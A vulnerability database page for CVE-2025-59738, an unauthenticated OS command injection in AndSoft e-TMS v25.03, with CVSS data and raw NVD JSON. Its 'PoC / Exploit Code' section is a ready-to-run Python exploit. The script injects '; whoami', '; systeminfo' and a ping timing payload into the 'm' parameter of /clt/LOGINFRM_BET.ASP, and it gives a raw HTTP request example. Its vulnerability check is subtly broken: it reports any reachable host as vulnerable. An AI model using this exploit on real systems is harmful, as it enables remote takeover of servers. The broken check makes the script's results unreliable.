Security Vulnerability Report
中文
CVE-2025-59738 CVSS 9.8 CRITICAL

CVE-2025-59738

Published: 2025-10-02 14:15:46
Last Modified: 2025-10-02 20:14:42

Description

Operating system command injection vulnerability in AndSoft's e-TMS v25.03. This vulnerability allows an attacker to execute operating system commands on the server by sending a POST request. The relationship between parameter and assigned identifier is a 'm' parameter in '/clt/LOGINFRM_BET.ASP'.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:andsoft:e-tms:25.03:*:*:*:*:*:*:* - VULNERABLE
AndSoft e-TMS v25.03

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59738 - AndSoft e-TMS OS Command Injection PoC # Vulnerability: OS Command Injection in 'm' parameter of /clt/LOGINFRM_BET.ASP # Affected Product: AndSoft e-TMS v25.03 # CVSS Score: 9.8 (Critical) import requests TARGET_URL = "http://target-host" VULNERABLE_ENDPOINT = "/clt/LOGINFRM_BET.ASP" def exploit_command_injection(target_url, command): """ Exploit OS command injection via 'm' parameter """ url = target_url.rstrip('/') + VULNERABLE_ENDPOINT # Inject OS command into the 'm' parameter payload = f"; {command}" data = { "m": payload } try: response = requests.post(url, data=data, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Body:\n{response.text[:2000]}") return response except Exception as e: print(f"[-] Error: {e}") return None def check_vulnerability(target_url): """ Check if target is vulnerable using time-based detection """ url = target_url.rstrip('/') + VULNERABLE_ENDPOINT # Time-based payload using Windows ping command (ASP typically runs on Windows) payload = "; ping -n 5 127.0.0.1" data = {"m": payload} try: response = requests.post(url, data=data, timeout=15) return True except requests.exceptions.Timeout: print("[+] Target appears to be vulnerable (timeout detected)") return True except Exception as e: print(f"[-] Error during check: {e}") return False if __name__ == "__main__": # Step 1: Verify vulnerability print("[*] Checking vulnerability...") if check_vulnerability(TARGET_URL): print("[+] Target is vulnerable!") # Step 2: Execute arbitrary command print("[*] Executing 'whoami' command...") exploit_command_injection(TARGET_URL, "whoami") # Step 3: Get system info print("[*] Executing 'systeminfo' command...") exploit_command_injection(TARGET_URL, "systeminfo") else: print("[-] Target does not appear to be vulnerable") # Example raw HTTP request: # POST /clt/LOGINFRM_BET.ASP HTTP/1.1 # Host: target-host # Content-Type: application/x-www-form-urlencoded # Content-Length: <length> # # m=;whoami

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59738", "sourceIdentifier": "[email protected]", "published": "2025-10-02T14:15:46.463", "lastModified": "2025-10-02T20:14:42.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Operating system command injection vulnerability in AndSoft's e-TMS v25.03. This vulnerability allows an attacker to execute operating system commands on the server by sending a POST request. The relationship between parameter and assigned identifier is a 'm' parameter in '/clt/LOGINFRM_BET.ASP'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:andsoft:e-tms:25.03:*:*:*:*:*:*:*", "matchCriteriaId": "DA9BDB99-4B85-46EF-A8EA-B0E7B1DCF276"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/update-24092025-multiple-vulnerabilities-andsofts-e-tms", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}